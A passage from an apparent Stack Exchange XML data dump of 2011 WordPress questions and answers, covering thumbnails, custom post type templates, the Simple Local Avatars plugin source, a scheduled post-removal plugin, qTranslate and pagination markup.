$thumb_key = get_theme_mod('thumb_key');&#xA;    if($thumb_key)&#xA;        $thumb_key = $thumb_key;&#xA;    else&#xA;        $thumb_key = 'thumb';&#xA;    $thumb = get_post_meta($postid, $thumb_key, TRUE); // Declare the custom field for the image&#xA;    if ($thumb != null or $thumb != '') {&#xA;        return $thumb; &#xA;    } elseif ($images = get_children(array(&#xA;        'post_parent' =&amp;gt; $postid,&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'numberposts' =&amp;gt; '1',&#xA;        'post_mime_type' =&amp;gt; 'image', ))) {&#xA;        foreach($images as $image) {&#xA;            $thumbnail=wp_get_attachment_image_src($image-&amp;gt;ID, $size);&#xA;            return $thumbnail[0]; &#xA;        }&#xA;    } else {&#xA;        return get_bloginfo ( 'stylesheet_directory' ).'/images/default_thumb.gif';&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and called the same in my index.php through&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo '&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;ID).'&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;img src=&quot;'.get_bloginfo('template_url').'/timthumb.php?src='.get_thumbnail($post-&amp;gt;ID, 'full').'&amp;amp;amp;h='.$height.'&amp;amp;amp;w='.$width.'&amp;amp;amp;zc=1&quot; alt=&quot;'.get_the_title().'&quot; /&amp;gt;&amp;lt;/a&amp;gt;' ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some odd reason the thumbnails aren't displaying&lt;/p&gt;&#xA;" OwnerUserId="5411" LastEditorUserId="5411" LastEditorDisplayName="" LastEditDate="2011-05-16T17:16:30.983" LastActivityDate="2011-05-17T13:12:33.600" Title="Display featured image as post thumbnail" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17412" PostTypeId="1" CreationDate="2011-05-16T17:04:49.780" Score="0" ViewCount="89" Body="&lt;p&gt;I have a custom post type called 'business_sold' that is not reading archive-business_sold.php but instead is reading index.php.  The custom post type is however, properly reading single-business_sold.php.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I registered the custom post type (initially via a plugin through which single-business_sold.php worked) and then I manually added the following code to functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('Business_Sold', array(  'label' =&amp;gt; 'Businesses Sold','description' =&amp;gt; '','public' =&amp;gt; true,'show_ui' =&amp;gt; true,'show_in_menu' =&amp;gt; true,'capability_type' =&amp;gt; 'post','hierarchical' =&amp;gt; false,'rewrite' =&amp;gt; array('slug' =&amp;gt; ''),'query_var' =&amp;gt; true,'has_archive' =&amp;gt; true,'menu_position' =&amp;gt; 5,'supports' =&amp;gt; array('title','editor','excerpt','trackbacks','custom-fields','comments','revisions','thumbnail','author','page-attributes',),'taxonomies' =&amp;gt; array('category','post_tag',),'labels' =&amp;gt; array (&#xA;  'name' =&amp;gt; 'Businesses Sold',  &#xA;  'singular_name' =&amp;gt; 'Business Sold',  &#xA;  'menu_name' =&amp;gt; 'Businesses Sold',  &#xA;  'add_new' =&amp;gt; 'Add Business Sold',  &#xA;  'add_new_item' =&amp;gt; 'Add New Business Sold',  &#xA;  'edit' =&amp;gt; 'Edit',  &#xA;  'edit_item' =&amp;gt; 'Edit Business Sold',  &#xA;  'new_item' =&amp;gt; 'New Business Sold',  &#xA;  'view' =&amp;gt; 'View Business Sold',  &#xA;  'view_item' =&amp;gt; 'View Business Sold',  &#xA;  'search_items' =&amp;gt; 'Search Businesses Sold',  &#xA;  'not_found' =&amp;gt; 'No Businesses Sold Found',  &#xA;  'not_found_in_trash' =&amp;gt; 'No Businesses Sold Found in Trash',  &#xA;  'parent' =&amp;gt; 'Parent Business Sold',  &#xA;),) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="5278" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-08-09T22:53:43.560" LastActivityDate="2011-08-09T22:53:43.560" Title="Custom Post types and their corresponding theme files" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17413" PostTypeId="1" AcceptedAnswerId="17433" CreationDate="2011-05-16T17:05:02.460" Score="2" ViewCount="285" Body="&lt;p&gt;Currently I'm using Simple Local Avatars on several of my blogs allowing people to upload their own custom avatar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know Simple Local Avatars uses &lt;code&gt;get_avatar&lt;/code&gt; to check whether a custom avatar is selected, if not defaults to Gravatar.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to disable the Gravatar.com bit somehow, disabling Gravatar.com completely and returning just some local hosted image if no custom avatar is selected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it would be OK to post this here, but this would be the Simple Local Avatars file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Simple Local Avatars&#xA;Plugin URI: http://www.get10up.com/plugins/simple-local-avatars-wordpress/&#xA;Description: Adds an avatar upload field to user profiles if the current user has media permissions. Generates requested sizes on demand just like Gravatar! Simple and lightweight.&#xA;Version: 1.2.3&#xA;Author: Jake Goldman (10up), Oomph Inc&#xA;Author URI: http://www.get10up.com&#xA;*/&#xA;&#xA;// add field to user profiles&#xA;class simple_local_avatars {&#xA;    function simple_local_avatars() {&#xA;        add_filter('get_avatar', array($this, 'get_avatar'), 10, 5);&#xA;        add_action('admin_init', array($this, 'admin_init'));&#xA;        add_action('show_user_profile', array($this, 'edit_user_profile'));&#xA;        add_action('edit_user_profile', array($this, 'edit_user_profile'));&#xA;        add_action('personal_options_update', array($this, 'edit_user_profile_update'));&#xA;        add_action('edit_user_profile_update', array($this, 'edit_user_profile_update'));&#xA;        add_filter('avatar_defaults', array($this, 'avatar_defaults'));&#xA;    }&#xA;&#xA;    function get_avatar($avatar = '', $id_or_email, $size = '96', $default = '', $alt = false) {&#xA;        if (is_numeric($id_or_email))&#xA;            $user_id = (int) $id_or_email;&#xA;        elseif (is_string($id_or_email)) {&#xA;            if ($user = get_user_by_email($id_or_email))&#xA;                $user_id = $user-&amp;gt;ID;&#xA;        } elseif (is_object($id_or_email) &amp;amp;&amp;amp; !empty($id_or_email-&amp;gt;user_id))&#xA;            $user_id = (int) $id_or_email-&amp;gt;user_id;&#xA;        if (!empty($user_id))&#xA;            $local_avatars = get_user_meta($user_id, 'simple_local_avatar', true);&#xA;        if (!isset($local_avatars) || empty($local_avatars) || !isset($local_avatars['full'])) {&#xA;            if (!empty($avatar)) // if called by filter&#xA;                return $avatar;&#xA;            remove_filter('get_avatar', 'get_simple_local_avatar');&#xA;            $avatar = get_avatar($id_or_email, $size, $default);&#xA;            add_filter('get_avatar', 'get_simple_local_avatar', 10, 5);&#xA;            return $avatar;&#xA;        }&#xA;        if (!is_numeric($size)) // ensure valid size&#xA;            $size = '96';&#xA;        if (empty($alt))&#xA;            $alt = get_the_author_meta('display_name', $user_id);&#xA;        // generate a new size&#xA;        if (empty($local_avatars[$size])) {&#xA;            $upload_path = wp_upload_dir();&#xA;            $avatar_full_path = str_replace($upload_path['baseurl'], $upload_path['basedir'], $local_avatars['full']);&#xA;            $image_sized = image_resize($avatar_full_path, $size, $size, true);&#xA;            if (is_wp_error($image_sized)) // deal with original being &amp;gt;= to original image (or lack of sizing ability)&#xA;                $local_avatars[$size] = $local_avatars['full'];&#xA;            else&#xA;                $local_avatars[$size] = str_replace($upload_path['basedir'], $upload_path['baseurl'], $image_sized);&#xA;            update_user_meta($user_id, 'simple_local_avatar', $local_avatars);&#xA;        } elseif (substr($local_avatars[$size], 0, 4) != 'http')&#xA;            $local_avatars[$size] = site_url($local_avatars[$size]);&#xA;        $author_class = is_author($user_id) ? ' current-author' : '';&#xA;        $avatar = &quot;&amp;lt;img alt='&quot; . esc_attr($alt) . &quot;' src='&quot; . $local_avatars[$size] . &quot;' class='avatar avatar-{$size}{$author_class} photo' height='{$size}' width='{$size}' /&amp;gt;&quot;;&#xA;        return $avatar;&#xA;    }&#xA;&#xA;    function admin_init() {&#xA;        load_plugin_textdomain('simple-local-avatars', false, dirname(plugin_basename(__FILE__)) . '/localization/');&#xA;        register_setting('discussion', 'simple_local_avatars_caps', array($this, 'sanitize_options'));&#xA;        add_settings_field('simple-local-avatars-caps', __('Local Avatar Permissions', 'simple-local-avatars'), array($this, 'avatar_settings_field'), 'discussion', 'avatars');&#xA;    }&#xA;&#xA;    function sanitize_options($input) {&#xA;        $new_input['simple_local_avatars_caps'] = empty($input['simple_local_avatars_caps']) ? 0 : 1;&#xA;        return $new_input;&#xA;    }&#xA;&#xA;    function avatar_settings_field($args) {&#xA;        $options = get_option('simple_local_avatars_caps');&#xA;        echo '&#xA;            &amp;lt;label for=&quot;simple_local_avatars_caps&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;checkbox&quot; name=&quot;simple_local_avatars_caps&quot; id=&quot;simple_local_avatars_caps&quot; value=&quot;1&quot; ' . @checked($options['simple_local_avatars_caps'], 1, false) . ' /&amp;gt;&#xA;                ' . __('Only allow users with file upload capabilities to upload local avatars (Authors and above)', 'simple-local-avatars') . '&#xA;            &amp;lt;/label&amp;gt;&#xA;        ';&#xA;    }&#xA;&#xA;    function edit_user_profile($profileuser) {&#xA;        ?&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;?php _e('Avatar', 'simple-local-avatars'); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th&amp;gt;&amp;lt;label for=&quot;simple-local-avatar&quot;&amp;gt;&amp;lt;?php _e('Upload Avatar', 'simple-local-avatars'); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;td style=&quot;width: 50px;&quot; valign=&quot;top&quot;&amp;gt;&#xA;                    &amp;lt;?php echo get_avatar($profileuser-&amp;gt;ID); ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    $options = get_option('simple_local_avatars_caps');&#xA;                    if (empty($options['simple_local_avatars_caps']) || current_user_can('upload_files')) {&#xA;                        do_action('simple_local_avatar_notices');&#xA;                        wp_nonce_field('simple_local_avatar_nonce', '_simple_local_avatar_nonce', false);&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;input type=&quot;file&quot; name=&quot;simple-local-avatar&quot; id=&quot;simple-local-avatar&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    if (empty($profileuser-&amp;gt;simple_local_avatar))&#xA;                        echo '&amp;lt;span class=&quot;description&quot;&amp;gt;' . __('No local avatar is set. Use the upload field to add a local avatar.', 'simple-local-avatars') . '&amp;lt;/span&amp;gt;';&#xA;                    else&#xA;                        echo '&#xA;                            &amp;lt;input type=&quot;checkbox&quot; name=&quot;simple-local-avatar-erase&quot; value=&quot;1&quot; /&amp;gt; ' . __('Delete local avatar', 'simple-local-avatars') . '&amp;lt;br /&amp;gt;&#xA;                            &amp;lt;span class=&quot;description&quot;&amp;gt;' . __('Replace the local avatar by uploading a new avatar, or erase the local avatar (falling back to a gravatar) by checking the delete option.', 'simple-local-avatars') . '&amp;lt;/span&amp;gt;&#xA;                        ';&#xA;                    } else {&#xA;                        if (empty($profileuser-&amp;gt;simple_local_avatar))&#xA;                            echo '&amp;lt;span class=&quot;description&quot;&amp;gt;' . __('No local avatar is set. Set up your avatar at Gravatar.com.', 'simple-local-avatars') . '&amp;lt;/span&amp;gt;';&#xA;                        else&#xA;                            echo '&amp;lt;span class=&quot;description&quot;&amp;gt;' . __('You do not have media management permissions. To change your local avatar, contact the blog administrator.', 'simple-local-avatars') . '&amp;lt;/span&amp;gt;';&#xA;                    }&#xA;                    ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            var form = document.getElementById('your-profile');&#xA;            form.encoding = 'multipart/form-data';&#xA;            form.setAttribute('enctype', 'multipart/form-data');&#xA;        &amp;lt;/script&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;    function edit_user_profile_update($user_id) {&#xA;        if (!wp_verify_nonce($_POST['_simple_local_avatar_nonce'], 'simple_local_avatar_nonce')) //security&#xA;            return;&#xA;        if (!empty($_FILES['simple-local-avatar']['name'])) {&#xA;            $mimes = array(&#xA;                'jpg|jpeg|jpe' =&amp;gt; 'image/jpeg',&#xA;                'gif' =&amp;gt; 'image/gif',&#xA;                'png' =&amp;gt; 'image/png',&#xA;                'bmp' =&amp;gt; 'image/bmp',&#xA;                'tif|tiff' =&amp;gt; 'image/tiff'&#xA;            );&#xA;            $avatar = wp_handle_upload($_FILES['simple-local-avatar'], array('mimes' =&amp;gt; $mimes, 'test_form' =&amp;gt; false));&#xA;            if (empty($avatar['file'])) // handle failures&#xA;                {&#xA;                switch ($avatar['error']) {&#xA;                    case 'File type does not meet security guidelines. Try another.':&#xA;                        add_action('user_profile_update_errors', create_function('$a', '$a-&amp;gt;add(&quot;avatar_error&quot;,__(&quot;Please upload a valid image file for the avatar.&quot;,&quot;simple-local-avatars&quot;));'));&#xA;                        break;&#xA;                    default:&#xA;                        add_action('user_profile_update_errors', create_function('$a', '$a-&amp;gt;add(&quot;avatar_error&quot;,&quot;&amp;lt;strong&amp;gt;&quot;.__(&quot;There was an error uploading the avatar:&quot;,&quot;simple-local-avatars&quot;).&quot;&amp;lt;/strong&amp;gt; ' . esc_attr($avatar['error']) . '&quot;);'));&#xA;                }&#xA;                return;&#xA;            }&#xA;            $this-&amp;gt;avatar_delete($user_id); // delete old images if successful&#xA;            update_user_meta($user_id, 'simple_local_avatar', array('full' =&amp;gt; $avatar['url'])); // save user information (overwriting old)&#xA;        } elseif (isset($_POST['simple-local-avatar-erase']) &amp;amp;&amp;amp; $_POST['simple-local-avatar-erase'] == 1)&#xA;            $this-&amp;gt;avatar_delete($user_id);&#xA;    }&#xA;&#xA;    // remove the custom get_avatar hook for the default avatar list output on options-discussion.php&#xA;    function avatar_defaults($avatar_defaults) {&#xA;        remove_action('get_avatar', array($this, 'get_avatar'));&#xA;        return $avatar_defaults;&#xA;    }&#xA;&#xA;    // delete avatars based on user_id&#xA;    function avatar_delete($user_id) {&#xA;        $old_avatars = get_user_meta($user_id, 'simple_local_avatar', true);&#xA;        $upload_path = wp_upload_dir();&#xA;        if (is_array($old_avatars)) {&#xA;            foreach ($old_avatars as $old_avatar) {&#xA;                $old_avatar_path = str_replace($upload_path['baseurl'], $upload_path['basedir'], $old_avatar);&#xA;                @unlink($old_avatar_path);&#xA;            }&#xA;        }&#xA;        delete_user_meta($user_id, 'simple_local_avatar');&#xA;    }&#xA;}&#xA;&#xA;$simple_local_avatars = new simple_local_avatars;&#xA;if (!function_exists('get_simple_local_avatar')):&#xA;/*&#xA; * more efficient to call simple local avatar directly in theme and avoid gravatar setup&#xA; * &#xA; * @param int|string|object $id_or_email A user ID, email address, or comment object&#xA; * @param int $size Size of the avatar image&#xA; * @param string $default URL to a default image to use if no avatar is available&#xA; * @param string $alt Alternate text to use in image tag. Defaults to blank&#xA; * @return string &amp;lt;img&amp;gt; tag for the user's avatar&#xA; */&#xA;    function get_simple_local_avatar($id_or_email, $size = '96', $default = '', $alt = false) {&#xA;        global $simple_local_avatars;&#xA;        return $simple_local_avatars-&amp;gt;get_avatar('', $id_or_email, $size, $default, $alt);&#xA;    }&#xA;endif;&#xA;&#xA;// on uninstallation, remove the custom field from the users and delete the local avatars&#xA;register_uninstall_hook(__FILE__, 'simple_local_avatars_uninstall');&#xA;&#xA;function simple_local_avatars_uninstall() {&#xA;    $simple_local_avatars = new simple_local_avatars;&#xA;    $users = get_users_of_blog();&#xA;    foreach ($users as $user)&#xA;        $simple_local_avatars-&amp;gt;avatar_delete($user-&amp;gt;user_id);&#xA;    delete_option('simple_local_avatars_caps');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5424" LastActivityDate="2011-05-19T10:37:29.500" Title="Removing Gravatar.com support for WordPress and Simple Local Avatars" Tags="&lt;avatar&gt;&lt;gravatar&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17414" PostTypeId="1" AcceptedAnswerId="17417" CreationDate="2011-05-16T17:08:20.543" Score="0" ViewCount="58" Body="&lt;p&gt;I'm working on an internal project/idea (a directory of sorts for a vertical market) where I will have 40 Categories with each Category having (potentially) 30 Sub-Categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each Category and Sub-Category page we need to present (unique for each Cat and Sub-Cat) a block of rich text (and possibly an image) in the top of the first page, and some additional text in the bottom of the first page. Subsequent pages in the page-navi would just have standard Category (or Sub-Category) title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text in the bottom of the page would be updated from time to time - so (relatively) easy content management would be ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can create a conditional statement above the loop in a category.php page template to place the various text elements -- but that's one monster conditional statement.  And I obviously don't want to create a unique category template for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd rank myself an intermediate WP coder so I'm wondering if any of you Pro's have some insight. I'm not looking for code, just a general sense of best practice/strategy for how I might approach this so it's easy to manage through the WP Admin (ideally) going forward. Looking for a point in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just can't seem to get my head around it.&lt;/p&gt;&#xA;" OwnerUserId="5423" LastActivityDate="2011-05-16T17:36:50.597" Title="Dynamically Adding Category Specific Content To Specific Category &amp; Subcategory Pages" Tags="&lt;categories&gt;&lt;page-template&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17415" PostTypeId="1" AcceptedAnswerId="19352" CreationDate="2011-05-16T17:11:25.517" Score="0" ViewCount="74" Body="&lt;p&gt;I've got an issue with using the WP-Navi plugin and posts sorted alphabetically.  The first page of posts (5 - set in the plugin settings) appearing properly, but when one navigates to subsequent pages, I lose that sort.  In fact, I can't tell how the posts are being sorted - it appears to be random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin's author has a description of this problem, but says that it's fixed in the plugin version that I have and I can't figure out where in the plugin code to verify.  Should I abandon the plugin and try to code into the template or functions file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="5278" LastActivityDate="2011-06-06T18:28:50.937" Title="WP-navi plugin and post sorted alphabetically" Tags="&lt;page&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="17416" PostTypeId="2" ParentId="17391" CreationDate="2011-05-16T17:26:32.337" Score="1" ViewCount="" Body="&lt;p&gt;here is a quick plugin i cooked for you :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;/*&#xA;Plugin Name: Post Auto Removal&#xA;Plugin URI: http://en.bainternet.info&#xA;Description: Post Auto Removal lets you schedule when the post / page / custom type will be deleted automatically.&#xA;Version: 0.1&#xA;Author: bainternet&#xA;Author URI: http://en.bainternet.info&#xA;*/&#xA;&#xA;&#xA;/* hook meta box */&#xA;add_action(&quot;admin_init&quot;, &quot;admin_init&quot;);&#xA;&#xA;/* hook meta box function */&#xA;function admin_init(){&#xA;    add_meta_box(&quot;Post Auto Removal&quot;, &quot;Post Auto Removal&quot;, &quot;Post_Auto_Removal_options&quot;, &quot;post&quot;, &quot;normal&quot;, &quot;high&quot;);&#xA;    add_meta_box(&quot;Post Auto Removal&quot;, &quot;Post Auto Removal&quot;, &quot;Post_Auto_Removal_options&quot;, &quot;page&quot;, &quot;normal&quot;, &quot;high&quot;);&#xA;}&#xA;&#xA;/* display meta box */&#xA;function Post_Auto_Removal_options() {&#xA;    global $post;&#xA;    $custom['active_removal'] = get_post_meta($post-&amp;gt;ID,'active_removal',true);&#xA;    $custom['Remove_after'] = get_post_meta($post-&amp;gt;ID,'Remove_after',true);&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;wp_meta_box_nonce&quot; value=&quot;'. wp_create_nonce('Auto_Removal'). '&quot; /&amp;gt;';&#xA;?&amp;gt;&#xA;    &amp;lt;table border=0&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;active_removal&quot;&amp;gt;Activate auto removal:&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;active_removal&quot; id=&quot;active_removal&quot; value=&quot;yes&quot; &amp;lt;?php echo $custom['active_removal'] ? 'checked' : ''; ?&amp;gt;/&amp;gt;&amp;lt;br/&amp;gt;&#xA;        when check post will be deleted in the given time.&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;Remove_after&quot;&amp;gt;Delete post after:&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;Remove_after&quot; id=&quot;Remove_after&quot; value=&quot;&amp;lt;?php echo $custom['Remove_after'] ? $custom['Remove_after'] : ''; ?&amp;gt;&quot;/&amp;gt;&amp;lt;br/&amp;gt;&#xA;        Enter time in Seconds Ex: 1 Hour = 3600 Seconds , 1 Day = 86400 Seconds.&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php  &#xA;    $next = wp_get_schedule( 'Clean_my_posts', array($post_id));&#xA;    print_r($next);&#xA;    if ($next){ ?&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;    &amp;lt;th&amp;gt;next schedule is set to : &amp;lt;?php echo $next; ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;    &amp;lt;/table&amp;gt;&#xA;&amp;lt;?php }&#xA;&#xA;/* save meta box hook*/&#xA;add_action('save_post', 'save_Post_Auto_Removal_options');&#xA;&#xA;/* save meta box function*/&#xA;function save_Post_Auto_Removal_options($post_id) {&#xA;    if (!wp_verify_nonce($_POST['wp_meta_box_nonce'], &quot;Auto_Removal&quot;)) {&#xA;        return $post_id;&#xA;    }&#xA;    // check autosave&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $post_id;&#xA;    }&#xA;    If (isset($_POST['Remove_after']) &amp;amp;&amp;amp; isset($_POST['active_removal'])){&#xA;        //cerate scheduled event&#xA;        $time = time() + $_POST['Remove_after'];&#xA;        wp_schedule_single_event($time, 'Clean_my_posts',array($post_id));&#xA;        //save meta data&#xA;        update_post_meta($post_id, 'Remove_after', $_POST['Remove_after']);&#xA;        update_post_meta($post_id, 'active_removal', $_POST['active_removal']);&#xA;&#xA;    }    &#xA;}&#xA;&#xA;&#xA; /* hook removal event function */&#xA;  add_action('Clean_my_posts','auto_remove_post',1,1);&#xA;&#xA;// the function that deletes a post everything that is tied to it, This includes comments, post meta fields, and terms associated with the post.&#xA;function auto_remove_post($post_id) {&#xA;    $delete = get_post_meta($post_id, 'active_removal', true);&#xA;    if ($delete){&#xA;        wp_delete_post( $post_id, true ); &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-16T17:26:32.337" CommentCount="5" />
  <row Id="17417" PostTypeId="2" ParentId="17414" CreationDate="2011-05-16T17:36:50.597" Score="0" ViewCount="" Body="&lt;p&gt;If i understand correctly then this shouldn't be too hard and i would suggest using this &lt;a href=&quot;http://www.deluxeblogtips.com/p/taxonomy-meta-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;Taxonomy Meta Script&lt;/a&gt; to simply add a rich editor , an image field and anything else you need for each category , this would make your life easier.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-16T17:36:50.597" CommentCount="1" />
  <row Id="17418" PostTypeId="2" ParentId="17395" CreationDate="2011-05-16T18:08:04.797" Score="1" ViewCount="" Body="&lt;p&gt;I'll speak for qTranslate, I've used it a few times and been pretty happy with it. What it sets out to do - letting you offer translations of post content in multiple languages and switch between them - it does pretty well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It gets a bit dicey when you try to extend it beyond alternate language versions of posts, though. I had to hack a lot to use the language filters on category titles and descriptions, for instance, or products with different currencies, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the most part, qtranslate's approach is pretty straightforward: you put the various languages within shortcodes so the title &quot;My Title&quot; would be entered like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[lang_en]My Title[/lang_en][lang_es]Mi Titulo[/lang_es] ...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin hacks up the default post editor nicely to handle that bit transparently to you. But if you want to translate other parts of the site - widget content, etc. - you have to enter that markup yourself. Works well for basic blogs, but if you're trying to do more with internationalization, you might want to look at some of the other discussions that have happened about offering multi-lingual content. Here's a few:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/725/what-are-options-are-there-to-implement-a-multi-language-site&quot;&gt;What are options are there to implement a multi language site&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1552/best-practices-for-localizing-wordpress-content/&quot;&gt;Best practices for localizing WordPress content?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-05-16T18:08:04.797" />
  <row Id="17419" PostTypeId="1" CreationDate="2011-05-16T18:27:17.187" Score="0" ViewCount="98" Body="&lt;p&gt;I'm looking to create individual archives for each category of my website, but want to them to break into weeks. Check out the linked image (can't embed images as a new user?):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/ynHWb.png&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/ynHWb.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm finding real difficulties here: &#xA;1) Breaking archives out weekly, &#xA;2) Adding the Date at the Top&#xA;3) Listing each post as a list item with some HTML in it…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be tremendously appreciated!&lt;/p&gt;&#xA;" OwnerUserId="5425" LastActivityDate="2011-08-16T08:25:17.263" Title="How would you create a &quot;weekly&quot; archive?" Tags="&lt;categories&gt;&lt;loop&gt;&lt;archive&gt;&lt;wp-get-archives&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="17421" PostTypeId="1" AcceptedAnswerId="17428" CreationDate="2011-05-16T19:02:43.860" Score="1" ViewCount="127" Body="&lt;p&gt;I'm trying to make something more meaningful out of the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_link_pages&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_link_pages()&lt;/code&gt;&lt;/a&gt; result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged_page_nav = wp_link_pages( array( 'echo' =&amp;gt; false ) );&#xA;// Now let's wrap the nav inside &amp;lt;li&amp;gt;-elements&#xA;$paged_page_nav = str_replace( '&amp;lt;a', '&amp;lt;li class=&quot;'.$classes.'&quot;&amp;gt;&amp;lt;a', $paged_page_nav );&#xA;$paged_page_nav = str_replace( '/a&amp;gt;', '/a&amp;gt;&amp;lt;/li&amp;gt;', $paged_page_nav );&#xA;&#xA;// here I'd need to wrap the currently displayed page element&#xA;&#xA;echo '&amp;lt;ul&amp;gt;'.$pages_page_nav.'&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently my link pages (numbered nav/pagination) displays like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- assuming we display page(d) 2/5 --&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;...&quot;&amp;gt;1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    2 &amp;lt;!-- This is the currently displayed paged, wrapped in nothing --&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;...&quot;&amp;gt;3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;...&quot;&amp;gt;4&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;...&quot;&amp;gt;5&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-16T20:08:48.170" Title="wp_link_page - wrap current page element" 